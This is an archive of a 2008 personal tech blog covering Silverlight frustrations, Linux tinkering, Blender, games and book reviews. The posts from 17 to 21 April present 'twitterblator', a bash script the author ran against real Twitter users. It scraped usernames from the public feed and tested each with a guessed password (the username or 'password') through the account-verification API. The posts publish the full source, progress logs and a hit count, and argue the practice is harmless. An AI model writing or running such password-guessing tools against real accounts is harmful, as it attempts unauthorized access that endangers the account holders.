f-log just another web log

silverlight 2 Beta 2 kills 2 Beta 1

Tue, 17 Jun 2008 19:50:46 GMT

I was going to write about how good silverlight was an how I was having fun using it, but it appears the latest release 2 beta2 breaks 2 Beta 1 code, like mine http://www.pay4foss.org/jumpstation/silverlight/

goodbye dear friends I will miss you you out of date pieces of

Tue, 10 Jun 2008 19:33:02 GMT

I was saddened to lose three friends, having known them for 10-12 years I had forgotten them in recent times. Unfortunately they were now obsolete and although I relished the good old days there was no room (literally) for them in my life. First casualty was The VRML Source book - from which I created VRML lego and the first dynamic VRML via JavaScript. then there was my well worn and trusty (huge) JavaScript book which I had used so much it was falling apart. Finally the only book that I ever contacted the publishers to congratulate them on such a well designed book 1001 Java Programmer's Tips. When I was learning Java back in the day I had plenty of the "learn Java" dry books that taught "if" and "switch" statements but I already knew how to code in Java because of my C and JavaScript background. 1001 tips showed me just what I need to know to use each function in a manor that 100's of web sites do today for code snippets. Goodbye and thanks for all the code :)

WHSmith demands more loyalty

Tue, 10 Jun 2008 19:21:06 GMT

I have had a WHSmith's card for over 5 years and every time I make sure it is swiped every time I am in there but I have never had a statement of the points I have built up what I could do with them. So I was surprised to find one shop telling me that although the card balance was listed as 0 I had credit of £5, I was in a hurry so ignored this until I had something further to buy ... So after 5+ years of buying DVDs CDs and all manor of other things from WHSmith I have a grand total of ... £3.83 :( Well at least I will have more room in my wallet.

silverlight love

Tue, 03 Jun 2008 22:36:58 GMT

So does this mean I like silverlight? well, lets just say I now have the hang of it and I a well aware of it current limitations. I think silverlight will succeed especially when the mono project produce a tried and tested multi platform plug-in for all browsers.

twitternice and mousetrails silverlight released

Tue, 03 Jun 2008 19:46:43 GMT

After the warm reception my IDOUDO (a simple simon game with sound [2 beta 1]) got over at silverlight.net I decided to release my two other silverlight projects (with source code) First up is mousetrails which creates fading shaded 'balls' dynamically, very simple. Then there is the twitternice a twitter message data visualiser, with lots and LOTS of dynamic animation making looking at twitter feeds more interesting ;) screen shot Whats clever about twitternice is that if a proxy web service is available (included in source code then the messages used are 'live' but if not then ten static xml files are used instead (these have been anonymised) I wonder how long before Mono moonlight release a 2 Beta 1 plugin for Firefox for Linux ?

big buck bunny blender open movie released

Tue, 03 Jun 2008 19:44:32 GMT

Check out the Big Buck Bunny blender open movie here WOW!! Not only is every single individual frame available but all the objects, textures, rigging setups, sounds and soon a DVD image! This follows on from the blender open movie elephants dream which although technically impressive elephants dream was rather abstract and non-mainstream i.e. not produced by Hollywood. Big Buck Bunny on the other hand is very Peach team created custom tools to aid in the films production (as with elephants dream) and these changes will make there way back into the main blender application to benefit of all users.

Compiz on a ten year old laptop

Fri, 30 May 2008 21:49:23 GMT

Installed compiz on the 10 year old laptop and got the rotating cube (with reflection, caps, transparency and gears), wobbly windows, fire, 3D windows and few other options to work perfectly ! In fact the only problem I had was with them all on the machine would sometimes pause for couple of seconds and the menus in blender did not display. I showed this amazing eye candy to Sarah and her response was "what am I looking at?" :( The laptop benefits from having a proper Nvidia card in, many laptops old and new, expensive and cheap have Intel or unbranded on-board graphic cards that can not hack the 3D acceleration.

ubuntu hardy heron update complete

Sat, 24 May 2008 11:44:40 GMT

Ubuntu machine just stopped at 197 files rebooted and ... here we go again ... Now upgrade fails because some files can not be downloaded, 5/2000+ :( Switched from main Ubuntu GB servers to virgin and files are downloading ... Update complete, rebooted and ... not wifi :( Tried to rebuild custom wifi driver ... weird errors nothing on google, luckily I have a few wifi cards, tried another and that works, phew!

ubuntu upgrade secret sauce

Wed, 21 May 2008 22:08:04 GMT

I wanted to update my Ubuntu laptop so I let the update manager find new packages, found a few. Updated those and then rebooted ... and ... ? No distribution upgrade to Hardy Heron.. googled and searched and eventually found the secret sauce to beupdate-manager -d now upgrading ...

good book In the Evil Day

Mon, 19 May 2008 21:01:44 GMT

Book review from a few weeks ago. "In the evil day" by Peter Temple, powerful spy thriller without the spies, loved it, a more adult approach to intense thrillers than Dan Brown. If you think you can take it, I recommend it ! Starts in South Africa but soon swings between Hamburg and London as the two lead characters are slowly intertwined with repressed memories and force that is wiping out all traces ... of what !

the end is near 119 stars

Sun, 11 May 2008 22:54:36 GMT

119 stars !! Unfortunately the last level is a real doozy

silverlight and the mouse exit bubbling failure

Thu, 08 May 2008 21:06:02 GMT

More silverlight woes, but I am unsure if this is a bug or not. An object (in this case a circle) with a mouse-over that shows a tooltip, a name and mouse-exit that hides said tooltip. Works perfectly if the mouse enters the circle and exist without touching the tooltip, but if the mouse moves over the now displayed tooltip the circle receives the mouse-exit and hides the tooltip then the mouse moves and the tooltip is shown again, flickering on and off. Silverlight has a HitTest function so I should be able to test to see if the entry into the tooltip is in-fact still over the circle but NO the mouse-exit refuses to tell you where the mouse is. hmmm? So I wrote a global mouse-move update global position handler and ... Same issue. Turns out the mouse-move fires as the mouse moves to the edge of the circle but the moment the mouse exist the mouse-exit fires and at that point my global position is still inside the circle, grrrrrr! Not sure how to fix this one, the obvious way is to move the tooltip but that spoils the whole look of the application.

silverlight moans

Thu, 08 May 2008 20:58:58 GMT

Todays reason for disliking silverlight: Error messages; Either you get "Catastrophic Failure" which actually means the XAML is referring to an object that does not exist or one of a number of generic error messages that tell you absolutely nothing about the issue. I will expand on that last one with an example. I wanted to dynamically create an object and animate it. To do this I had to create a Storyboard to hold the animation, create the object and assign it a render transform (e.g. rotate), create a doubleanimation (thats double as in floating point number), stick them all together and apply them to the root canvas. This compiled but when I started the animation I would get either an ERROR or and ERROR and a known meaningless hex value. I tried all sorts of things, turned out that the Render Transform had to be created separately and assigned instead of being used from within the valid element I was using. And another gotcha on that side of things, a doubleanimation has a target property e.g. Angle for a rotate transform and Opacity when you are fading in or out. But where with Opacity (and a number of other animation types) you target the object for rotate you must target the render transform IN the object, even though you are explicitly referencing Angle ... I found a proper silverlight bug (that I reported), a border object in a canvas is not displayed when said canvas is dynamically unhidden, everything else on the canvas is unhidden along with it but the border stays invisible.

Mario Galaxy vs Mario cart for the Wii

Tue, 29 Apr 2008 22:47:22 GMT

*grumble* *grumble* silverlight f*%$^ ... While not hating silverlight I am trying to complete Mario Galaxy on the Wii, now up to 116 stars out of 120 but ... Sarah ordered Mario Cart for the Wii for my birthday, it did not turn up. We rang after a week and were told we had to wait at least seven working days.Still did not show up so rang got our money back. At the weekend I spent sometime in the garden with Alex, it just so happened that by pure fluke I followed the football we were playing with down the side alley and there was a cardboard box under so empty bags. So we paid (again) and I have Mario Cart for the Wii with the steering wheel. Only got a to try it for a short while but seems a lot of fun and the online stuff had zero lag.

Wild fire book review

Sat, 26 Apr 2008 22:24:32 GMT

When I am not busy hating silverlight I have been reading "Wild Fire" by Nelson Demille. My Dad lent me this so I had not read the jacket before starting, this gave me a much more enjoyable experience, but as most people read the jackets before choosing a book I wonder what everyone else's experience was like. First off I liked this book, it was funny, gritty and down right entertaining, and sometimes that's all you want so I am pleased to say this book offered that little bit more. Everything (that could be) seemed routed in reality and the list of acknowledgments attests to how thorough the author is which took away from the problems in a Dan Brown books [1] [2] [3]. Perfect page turner, not to deep but enough to keep you interested and nothing so far out there it breaks the spell.

source for IDOUDO silverlight game

Thu, 24 Apr 2008 21:36:17 GMT

Here is the promised source Page.xaml Page.xaml.cs Images and sound are in the ClientBin/slOverclick.xap file with is a zip file, just rename it. Todays reasons to hate silverlight, does not handle GIF files and crossdomain.xml is flakey.

idoudo silverlight game released

Wed, 23 Apr 2008 21:33:16 GMT

I still hate silverlight but at least I managed to produce a small game with it. http://www.pay4foss.org/jumpstation/idoudo Obviously it requires the silverlight plugin so for you with that or a working moonlight, it is a simple simon type game with blocks (rendered in Blender) that light up in a sequence that you must repeat getting longer and longer. There is also sound created from scratch in audacity and an ear created in inkscape. Before you can start you must click the button marked "click to begin", this caused be no end of problems as one of the (many) known bugs with silverlight is you can not change the visibility of a button in its own onclick event. Then there is the "you can not play the same sound more than once" bug and many MANY others. So although this is a simple game it was a struggle to get it to do the simplest things. I will not mention mime types or URI references ... Source tomorrow, when I have tidied it a bit.

twitterblator final numbers

Mon, 21 Apr 2008 21:25:15 GMT

And the final twitterblator results are ... 134 hits (validated passwords) out of 49226 unique attempts. Thats 1 in 367, which is pretty good really. Remember as with any statistics this 1 in 367 is during the duration and date of my experiment, tomorrow no accounts used may be susceptible and the day after all the accounts used maybe bad. As for future twitter experiments I have actually gone off the idea due to time it would take and instead I now playing with sliverlight. Silverlight hates me and I hate silverlight (at the moment).

twitterblator conclusions

Sun, 20 Apr 2008 22:44:27 GMT

twitterblator conclusions: *Is running this evil? No, I do not record badly secured accounts nor do *ANYTHING* with them. *Is the releasing the code evil? Hmmm, in theory any code can be subverted, I see nothing that is difficult or clever or even "script kiddie" friendly in the twitterblator code. *Can twitter stop twitterblator? Yes, but it would be very hard for them. Either they profile usage i.e. check the repeated checks of accounts from a single IP address or lock down the API and access to twitter, this would kill hundreds of existing applications and web sites. *Can twitterblator be used or modified for use with other micro blog sites? Yes, but it may take a lot of work due to *most* sites locking down the sort of access twitterblator make use of. Twitter has a verify account API option, I never *tried* to log this accounts in. *What was the final ratio of secure to insecure accounts? answer tomorrow... I was going to release the results under a "unnamed social site" but as so few users are affected I am happy to shout TWITTER all over the place. Also, remember that if a user did not twit or was set to a private account during the test then they were not included. Now for my next twitter project (as the source is so rich) ... ;)

twitterblator source code

Sat, 19 Apr 2008 21:32:21 GMT

OK the twitterblator code, short and sweet

#!/bin/bash
# twitterblator tb.sh
# 16/04/2007 - 
# tests twitter accounts for 'default' passwords
# see README for more information

USERAGENT=`cat agentstring.dat`
TEMPFILEUSERS="temp.users"
TEMPFILEUSERSDD="temp.usersdd"
TEMPFILEACCESS="temp.access"
DATABASE="db.users"
VERIFYURL="http://twitter.com/account/verify_credentials.xml"
SOURCEURL="http://twitter.com/statuses/public_timeline.rss"
HITDB="db.hit"
TEMPFILEHITS="temp.hit"

wget --quiet --wait=4 --random-wait -O - -U "$USERAGENT" $SOURCEURL | grep "^\W*" | sed -e 's/.*com\/\([^\/]*\).*/\1/gi' > $TEMPFILEUSERS

# do deduping here
rm -f $TEMPFILEUSERSDD
touch $TEMPFILEUSERSDD
echo "Deduping"
echo "|--------------------|" # most likey 20 lines
echo -n " "
while read line; do
	echo -n ":"
	grep -w -q $line $DATABASE || echo $line >> $TEMPFILEUSERSDD
done < $TEMPFILEUSERS
if [ -e $TEMPFILEUSERSDD ]; then
	cat $TEMPFILEUSERSDD >> $DATABASE
fi
echo ""

# setup usernames and passwords
awk  '{ if (length>5) printf("--user=%s --password=%s\n",$0,$0); else printf("--user=%s --password=password\n",$0); }' $TEMPFILEUSERSDD > $TEMPFILEACCESS 

# check accounts
rm -f $TEMPFILEHITS
echo "checking accounts"
echo "|--------------------|"  # most likey up to 20
echo -n " "
touch $TEMPFILEHITS
while read line; do
	echo -n ":"
	wget --quiet --wait=4 --random-wait --delete-after -U "$USERAGENT" $line $VERIFYURL && echo 1 >> $TEMPFILEHITS
done < $TEMPFILEACCESS
echo ""

# report results
echo -n "found "
if [ -e $TEMPFILEHITS ]; then
	echo -n `wc -l $TEMPFILEHITS | cut -d " " -f 1`
else
	echo -n "0"
fi
echo " hits in last attempt"
cat $TEMPFILEHITS >> $HITDB

echo -n "that is a total of "
if [ -e $HITDB ]; then
	echo -n `wc -l $HITDB | cut -d " " -f 1`
else
	echo -n "0"
fi
echo -n " hits for "
echo -n `wc -l $DATABASE | cut -d " " -f 1`
echo " users"

# tidy up temp files
rm -f $TEMPFILEUSERS
rm -f $TEMPFILEUSERSDD
rm -f $TEMPFILEACCESS
rm -f $TEMPFILEHITS

As always I could have done it very differently, less temp files, different language etc. but this was a quick hack and I was presently surprised how quickly I got the AWK and the deduping working :)

too twit to twoo

Fri, 18 Apr 2008 17:37:14 GMT

Twitterblator update. Its been running for over 16 hours and

Deduping
|--------------------|
::::::::::::::::::::
checking accounts
|--------------------|
::::::::::
found 0 hits in last attempt
that is a total of 47 hits for 11939 users

It's worth noting at this point that twitterblater is not in violation of the Terms of Service as once an account has been verified nothing is done, i.e. the user is not logged on. Nor is any information pertaining to which user was verified or what type of default password was used is recorded. while true; do sleep 65; sh tb.sh; done I have got to say for a service that lets you use its system *WITHOUT* verifying your email address I expected a much higher hit count. But one thing I did notice is lots of twitterers have non English user names and posts so maybe I should trying the localised version of "password" :) The "Deduping" section above make sure the regular posters are not repeatedly targeted and the number of ":" under "checking accounts" is the number of new unique usernames to try out of the twenty received each time. So at the end of this I am going to have a text file with thousands of usernames ... Oh, publishing the code, erm maybe tomorrow ...

launch of the twitterblator

Thu, 17 Apr 2008 22:54:42 GMT

Steve alerted me to twitter,a microblog site that can be easily updated. I decided to have a look after I saw answerme and noticed it was accessing *everyone's* twitters, though that turned out to be just public twitters. Time to have a look at twitter. First off there is a public "latest posts" page with an rss option, not only easy to scrape but application developers are encouraged to do so. Its worth noting at this point that the *many* twitter alternatives lock this functionality down by requiring access via a registered APPID (application identifier supplied by the site owners). Next, instead of having to connect via a POST HTML form twitter allows anyone to *try* a username and password combination and return success or failure. So it took me almost no time to write a bash script that; Retrieved the latest public twitterings. Parsed out all the user names. Tried each user name along with a default password. Logged if the combination was a success. Reported how many hits had been found against the total attempted. Default password is either the user name or "password" as twitter passwords have to be 6 characters or more. Currently

Deduping
|--------------------|
::::::::::::::::::::
checking accounts
|--------------------|
::::::::::::::::
found 0 hits in last attempt
that is a total of 3 hits for 800 users

Now to leave it over night ... And the name for this naughtiness ? the twitterblator.

a cat named the book of the dead

Mon, 14 Apr 2008 21:49:03 GMT

The last book review was almost a 9 months ago, I am sure I have read something since then ... I got a signed copy of A Cat Called Birmingham(paperback), the author lives near my mum. Looked a bit odd, subtitled "A biography of nine lives" but was actually really good. Read a bit like a number of blog posts recounting events in the cat+owners lives, very easy to read guaranteed to make you laugh out loud or at least chuckle. Which itself is odd due to most of these "events" relating to cat-tastrophes of a painful nature. Since then I have also read "Patricia Cornwell's Book of the Dead" which was a gift from my Aunt. This book has the grip of Dan brown book but with out the constant feeling you do not want to be reading it. Very well done, three dimensional characters and twisting interweaving story line that at one point I was worried was going to come out all 'Hollywood' and spoil everything but left me with a contended feeling I read a good book !

boa 502 cgi error

Sat, 12 Apr 2008 20:01:31 GMT

Boa cgi and

502 Bad Gateway
The CGI was not CGI/1.1 compliant.

even with the simplest perl script, turns out that all CGi scripts *MUST* output the mime type of the content e.g.

#!/usr/bin/perl
print "Content-type: text/html\n\n";
print "zombie"

just to get the single word output "zombie" Surprisingly this information does not appear anywhere for the 502 error but if you read numerous CGI "getting-started" tutorials the requirement is made. Some web servers have a directive to disable the requirement. Boa is currently running on my NSlu2

the finger mouse future is here

Mon, 07 Apr 2008 21:29:35 GMT

WOW! I need to buy shares in the company making anything called a USB Finger Mouse The future is here

EXIF data to file stamp script

Sat, 29 Mar 2008 23:34:52 GMT

I have been updating the Alex web site and I needed to sort through 113 images that had been taken on different days but uploaded and the same time and had the same time stamp. Konqueror would show me the real "creation date" when I hovered over an image but in the View menu "Show Create Date" column option was grayed out. Turns out the Creation date is part of the JPEG meta data not the file data sooo ... I downloaded exiftags to get some command line tools that look at photo meta data EXIF data. Then I wrote this small shell script, worked perfectly.

#!/bin/bash
#takes supplied file name extracts exif creation information and applies via touch
#call with ls *.jpg | xargs -n 1 exiffix.sh
# to update all jpg files in current directory

dtstamp=`exiftime $1 | grep Gen | sed -e 's/[^0-9]//gi' -e 's/\([0-9][0-9]\)$/\.&/'`
touch -m -t $dtstamp $1

Small note, any backup software/scripts may exclude these files as the dates are further in the past.

tmp get wiped on reboot

Tue, 25 Mar 2008 20:38:54 GMT

Note to self: /tmp get wiped on reboot. I have not lost anything important but I did have some stuff in there that I was still using :( that will teach me to have 150+ uptime.

funny and clever

Wed, 19 Mar 2008 21:41:43 GMT

Funny and clever ? http://www.abyssandapex.com/200710-wikihistory.html

111 stars

Tue, 11 Mar 2008 23:01:58 GMT

111 stars 6 to go before 00 but at least 9 to go before all and then do all again as Lugi ! Some are not as difficult as they first appear only requiring a bit of strategy.

wifi fixed on zaurus

Tue, 11 Mar 2008 23:00:46 GMT

OK, fixed wifi, the sync cable network interface was taking precedence, even though it was not connected.

zaurus reborn as angstrom

Tue, 11 Mar 2008 22:57:54 GMT

The following took place a few days ago... many moons ago I purchased a zaurus 860 and I used the default sharp ROM. But there was only add hoc development of programs I wanted to run so I switched to cacko ROM. After sometime this too became unstaffed (there was only ever one developer/maintainer) so I sought out the many different ROMS available, looking for one that was in active development. I thought my search had ended when I found pdaXrom but last year after enjoying very active development community all development stopped :) I had looked around and found Angstrom but it was targeting lots of PDAs and no stable releases had been released back then. Well I had another look and it is much more spritely now. pdaXrom was famous for its uboot system, so I had to revert to the original sharp ROM but installing Angstrom was then easy. Wifi support was the main problem I had had with the zaurus, so I was very pleasantly surprised that it worked perfectly, though there was no obvious dhcp client, had to use the GUI (now found udhcpc). So everything was hunky dory ? almost. I used the package management system to install applications I wanted one after another via the wifi until "Error: no space on device". Oops! I had forgotten how small the internal drive is. I had a 512mb SD card in the machine soooo.. I was VERY sneaky, I do not recommend you follow what happens next ... I used du to find out that most of the space was being used by /usr, so I created a copy on my SD card and tried to make a symlink to that directory but couldn't cos the drive was FAT16 (needed for all the ROM swapping). Reformatted ext2, re-copied /usr successfully created a symlink from /usR to the /usr on the SD card moved the original /usr to /usr.old and moved the /usR sylink to /usr and rebooted ... It worked everything worked perfectly ... NOT! most things worked but the special keys on the keyboard were failing so I could not type "/" which was a pain, luckily I could use the on-screen keyboard but it still took ages to run commands etc. The "Fn" modifier key was returning a "~" and shift was not affecting the other keys as expected. Turns out the loadkeys command was in /usr/bin and was run before the drive was mounted ;) Copied over the loadkey cut and awk commands to /bin but it needs libconsole from... u guessed it /usr/lib. In the end I just moved the startup script for loadkeys to the end of the sequence after the drivers are mounted. hmmmm, now wifi is not working :(

Untraceable movie not bad

Tue, 11 Mar 2008 22:55:25 GMT

Just saw Untracable a movie about an internet website setup to kill the victims faster the more people log on. Strangely enough this is a good film, not an amazing film but above average. There are moments of over acting and when the FBI officer states the "IPs are being blacklisted" she looks like she's faking it. However, the tech speak, tech story and tech usage is about 95% accurate, some minor hollywoodnisms but on the whole total believable, of course things are missing and I am sure the FBI would work slightly differently but ... This such a change from for instance the computer usage in first mission impossible film and numerous others where Hollywood just did what ever the hell it liked and damn the techno geeks watching. Untraceable also asks a lot of questions, like are the visitors technical accomplices? and what is the FBIs role in free speech.

STOP THE PHUN

Tue, 04 Mar 2008 22:36:14 GMT

In other news "FOR PETE's SAKE WILL SOMEONE STOP! THE PHUN" as it is sucking time I should be devoting to krum and other such projects. That said I created a wicked block launcher fed by a hoper that fires different weighted blocks all over the palce including into a set of almost weightless towers that crumbly most pleaseingly ;)

a chat star is reborn

Tue, 04 Mar 2008 22:29:14 GMT

Sanity is restore, this a repeat of an earlier post that got removed, but will be duplicated in the RSS. It took a while ( I have been sick) but here is chat☆, enjoy.

FAIL again

Tue, 04 Mar 2008 22:26:04 GMT

Main page is gone so is my other post, trying again ...

FAIL

Tue, 04 Mar 2008 22:20:17 GMT

Oh! something went wrong, we went off the air for a moment, lets see if just posting again fixes it...

a chat star is born

Tue, 04 Mar 2008 22:04:21 GMT

It took a while ( I have been sick) but here is chat☆, enjoy.

shiney star is on the horizon

Wed, 27 Feb 2008 22:38:13 GMT

chat☆ is coming, in fact it would have been tonight if I had not misplaced a couple of image files... there is always tomorrow, except I am not doing it then, so maybe Friday.

blender and the case of the unduplicated materials

Wed, 27 Feb 2008 21:18:59 GMT

Do you remember my blender frustrations trying to add a "label" to a glass "jar" ? I thought I would just do something really simple with the completed object, duplicate it many times at put it on a shelf. So I duplicated the object a few times did a test render and .... The label was only showing on the original. Checked every thing was in place and after a little head scratching found that my solution of using an Empty to define where the "label" should go was not being duplicated or more the fact it was. A duplicate contained all the object making up the "jar" including the Empty for the "label" but the material details were all pointing to the original Empty. After much search I found no way to duplicate the material settings in the blender GUI so I turned to python again. Not easy and not quick, the final code can be downloaded for educational purposes only shelved.py You see I had to.. get currently selected object make MASTER group add selected objects into the group make a NEW group duplicate the MASTER group (this was easy, just ask for a duplicate and tick the box that say new material/texture) add the new objects into the NEW group loop through objects and find the "label" and "Empty" get the materials for the "label" get the textures for the materials of the "label" assign the new Empty to the texture of the "label" (then for fun) randomly rotate the contents of the "jar" randomly shift the label slightly unselect the new objects select the old MASTER group rinse and repeat. It took me sometime to come to that solution and I learned a lot. I have yet to actually make the shelf and produce a final render ...

93 stars mario galaxy wii

Wed, 27 Feb 2008 20:55:32 GMT

I have complete Mario Galaxy -ish, well I got the star count down to 0, beat bowser, got the credits and the "the End" message but.. I loaded the save and the counter had reset to more than 40 ! I have now unlocked all the rooms including the "gate" and the "garden" and opened and completed the "trials" leaving me with 93 stars and count down of 27. I have completed very few of the comets or the purple coin challenges but I have completed all the individual challenges. The difficult ramped up pretty quickly after the first 50 stars, now every time you reach one you really feel you earned it.

are spammers lazy or just plain stupid

Wed, 27 Feb 2008 20:49:20 GMT

Getting a few hundred spams a day means the likelihood of reading any one is very small but for some reason this one caught my eye

From: 
NationWide Building Society [phishing@nationwide.co.uk]
To: spam@jumpstation.co.uk
Date: Sunday 16:46:06
Subject: Dear customer

Are spammers lazy or just plain stupid ?

we won the lottery

Sun, 17 Feb 2008 22:03:13 GMT

We have won the lottery !! and its more than the £10 we normally win once a year at Xmas. Thats right we are now ........ £58 richer :( hmmmm does not even come close to the amount we have spent on tickets, still, you have to be in it to win it!

NSlu2 is born debian

Sun, 17 Feb 2008 21:55:01 GMT

I love valentines. When I first meet my wife she got me a wicked ceiling based flying apache helicopter and this year she has not disappointed. I got her a nice necklace and she got me a slug!! The NSlu2 (aka the slug) is cheap network storage adapter. You connect a USB hard drive and an Ethernet connection and that USB hard drives contents are available to your network. Or you can install debian on it, guess what I am going to do/done? First off I purchase a cheap 4G USB microdrive thinking the fact it is hard drive would help the life of use as standard USB flash drives are not ideal system drives with constant reads and writes, how wrong could I be ? First up the NSlu2 has a default IP address of 192.168.1.77 which is not on my subnet, so change my subnet and try connect to the built in web server ... FAIL I tried a few things including forcing a full system reset to factory defaults and using an old 10bT network hub (couldn't find my cross over cable) before it dawned on me the fact my pings were denied instead of timing out was the firewall was setup for my subnet and was stopping any action on 192.168.1.x :( After that it was easy to connect change the IP address and start again, I even wrote a wiki page it was so arduous. Soooo follow debian install instructions and get the firmware updated, easy. Next step run installer via ssh and partition microdrive. Well the ssh was painful, I tried gnome-terminal,xterm,aterm,mrxvt but it was only konsole that handled the menu characters over ssh. Then the partitioning, the drive was visible and I selected how I wanted it partitioned then FAIL can not read from drive, odd as it worked on my gentoo box. Tried a few things, then gave up and used a USB flash drive, ssh disconnected FAIL There are work arounds for this but I decided to cheat, I repartitioned the flash drive in gentoo then skipped the partitioning in the Debian installer and set it on its merry way, guide said 2 and half hours. 8 hours later it was asking if I wanted to continue, doh! my manual intervention had pulled it out of its default install cycle, it wanted loads of decisions made (all the defaults). But eventually it worked, ssh'd in and plugged in the microdrive (the slug has two USB slots) worked fine, so I copied all directories to the microdrive and then rebooted ... FAIL The initrd (and the Debian install flash) for some reason do not have what ever it is that is needed to mount the microdrive :( I could rebuild the kernel or the initrd but in the end I have decided to sacrifice the flash drive and now have a spare microdrive ... PHEW

LUG February fun

Sun, 17 Feb 2008 21:31:10 GMT

This months LUG was good, mike brought his touch screen epos terminal and we had fun trying to get X to handle the touch screen. David brought his PC to demonstrate two systems he has created, one is multi drive disk ripper with play list manipulator and player all built in BASH. But the other project was a python server client model remote presentations system with openGL 3D ! A client machine connect via Ethernet sends commands to a server that displays the contents, including images and text (with auto formating). The text is displayed in 3D and he has plans for many transitions, at the moment there is just an excellerating slide. All very impressive, and I took my grey missile launcher and shot people ;)

prepare for the coming of a new star

Mon, 11 Feb 2008 22:39:16 GMT

Speaking of stars, a new one is coming soon ;) That is of course if I get the time to complete it ...

50 mario galaxy stars 200 to go

Mon, 11 Feb 2008 22:37:24 GMT

50 stars in Mario Galaxy. Only 200 to go :) Needless to say I have putting in any spare time into this VERY addictive game.

27 stars Mario Galaxy

Tue, 05 Feb 2008 23:00:26 GMT

27 stars in Mario Galaxy, which is not bad considering I am only playing it 30 mins every other night.

krum upload a success almost

Tue, 05 Feb 2008 22:57:30 GMT

After some other bit fiddling I have managed to get images on to the keyring ! Notice the back and white image works fine but the colour images are corrupted. The bottom two are the same data so the corruption is not in the data but in the process... I am considering the vast amount of debug data I generate is slowing krum down enough to cause these problems but why does the black and white image always work ? To get the images on to the keyring I currently use image magick to convert a flat .xcf file to .ppm (-compression none) which gives me a ascii file and a bit of awk'ing and I get the byte data formated so I can drop it into the krum header file. When I am ready to use an image library it will just require me to load the data in 3 bytes per pixel, krum then converts it to two bytes per pixel.

bad c

Mon, 04 Feb 2008 23:33:29 GMT

seems 0x11110000 is not a binary value in c, whoops thats half my problems, now something is overwriting memory. 0x00 0xF0 everywhere ...

data uploaded to device

Sun, 03 Feb 2008 21:50:09 GMT

Quick krum update, I have managed to upload some data onto the device !! I say data because its does not look much like the image I started with, but it does have some characteristics so there is still hope. It is quite mind numbing looking at pages and pages of hex URB USB data or screens full of my hex debug data ...

a little toque goes a long way

Mon, 21 Jan 2008 21:16:24 GMT

Maybe I should mentioned that one of the screws in the rocket launcher is a rivet and I spent the most time carefully pulling the barrel apart very carefully. Slow and steady one the race with the plastic bending rather than shattering and then going back quite nicely afterwards. The screws them selves were VERY tough to turn, so may the toque be with you.

Cannon dissassembly

Mon, 21 Jan 2008 21:11:40 GMT

Servers were down at work so I offered to fix my colleagues USB rocket launcher. At first I thought it was software so I tried Sharp Launcher but it had the same problem, would move but would not fire. So I got permission to disassemble the unit looking for loose wires ( I had found one in a non-functioning Classic grey USB missile launchers and a quick solder had fixed it). 32 screws came out 27 went back in, but I did find the culprit, a mini motor deep in the firing mechanism (highlighted in last image). A quick twiddle (technical term for twisting it for no good reason other than there was nothing else to try) and it was fixed. Surprisingly quick to put back together.

1and1 are good

Sat, 12 Jan 2008 22:19:41 GMT

You may have seen the banner that accompanies my flog postings, what you might not realise is that I created it sometime ago and it currently receives an average of 600 unique IP hits a month. (I was unaware of the statistics until) I got an odd email from the hosting company 1and1.co.uk who I had found very good. The email noted I had received a £25 affiliate referral for a single order placed via the link at the bottom of the page! So not only are 1and1 cheap, easy to use, have great online management and statistical tools but you can make money FROM them!

flog yearly update completed

Sat, 12 Jan 2008 22:04:50 GMT

It is as badly put together as previous years but the yearly summary is ready and the archives have been updated. /flog/archive.html /flog/year2007.html (mainly for my reference)

name a star scam

Sat, 12 Jan 2008 21:56:53 GMT

I got a few http://www.whsmith.co.uk/ vouchers for xmas and could not find anything I wanted, no DVDs and Mario Galaxy is not out yet. Oh, and you can not use the vouchers on line even though they are in the form of magnetic card(i.e. unique ID). But then I found " name a star "

Gift Pack Contents: Welcome letter, An explanation of the gift, Star naming instructions, Unique information about your star, A guide on how to locate your star, Star & astronomy booklet, Presentation certificate, Personalisation pen, Presented in a luxury metal gift tin.

So keeps referring to "your star" even though you never own it other than in this Gift Republic database.

Naming your star is easy; you can either complete the process online or fill in and return the lower section of your Star Registration Form. You are required to enter your star name, your contact and delivery details. This is then entered into the Star Registry and you are sent a certificate confirming your star registration. This information will then be periodically submitted to the British Library.

The "Star registry"! wow and the British library, sounds all official. Except the "Star registry" is not official and is only for Gift Republic's use. Oh and British library bit, all publications are held by the British library. Your gift code expires 12 months after the date of purchase so you have 12 months in which to register your gift. This is only hint that this item is a novelty item.

Only a small number of stars in our sky actually have names allocated to them; the majority are nameless and are distinguished by their catalogue number only.

And its going to stay that way, no astronoma wants to refer to "Aunt Bea's star".more Thats the information on http://www.whsmith.co.uk/ but a bit of searching gets you the company behind this http://www.giftrepublic.co.uk/Product.aspx?ProdID=STARGIFTPACK

This touching gift gives the recipient the opportunity to choose a name for one of these nameless stars. Once registered, their star name will be submitted to the British Library.

Translation: we will save your submitted name to our database and print a long list of its contents which periodically gets sent to the British library.

Only a small number of stars in our sky actually have names allocated to them; the majority are nameless and are distinguished by their catalogue number only.

And only International Astronomical Union has any official capacity to name them ! Your gift box contains the details of one of these unnamed stars that is ready for naming by you. Translation: By unnamed we mean not saved in out personal database but could be named in any other database. * A touching gift idea 'a star named after you for eternity' But only because the British library is keeping every publication as it is a Legal deposit library, they receive over 3 million publications a year.

FAQ's
Can I call my star anything I choose?
Yes, there are no restrictions with star name choice.

Translation: Our database can accept any characters you send us, [even SQL injections ?!] So no where do they make clear this is Novelty item ONLY and not in ANY shape or form official. SCAM SCAM SCAM! I understand that some people if informed this was a novelty gift ONLY would not mind, but I am sure many many are disappointed that no stars are ever named after them. http://www.wired.com/techbiz/media/news/2001/12/49345 http://www.iau.org/ http://www.iau.org/BUYING_STAR_NAMES.244.0.html http://enzerink.net/peter/astronomy/starfaq/ Oh and hate to disappoint you but that moon and mars mineral rights certificate is worth less thatn the paper it was printed on. http://www.theregister.co.uk/2006/12/08/nasa_real_estate/ SCAM SCAM SCAM!

flog now has previous and next

Fri, 11 Jan 2008 19:38:47 GMT

I may be failing to complete a few other tasks, but flog now has <<&;lt< previous and >>>> next links on every page ! No small feat considering there is no database running flog just loads of static files. I considered writing a perl or C# program to do the work but in the end it was a collecting of bash scripts that processed every flog page and added the links. Now to do the archive, yearly summary, linux pub quiz 2 and normal flogging...

binary spam

Sat, 05 Jan 2008 10:05:16 GMT

was going to note how my email trash folder had 101101 unread items but clicking on it downloaded another 8(8 auto trashed emails in 4 minutes). Total Trash emails is 112593 with spam assassin claiming another 53677, unsurprisingly clicking on either folder locks kmail up or a few mins. Time for a clear out me thinks. I get about 150 emails a day that are not auto filtered either by my black lists or spam assassin but most end up in my "likely to be spam folder".

nappy new fear !

Tue, 01 Jan 2008 21:27:42 GMT

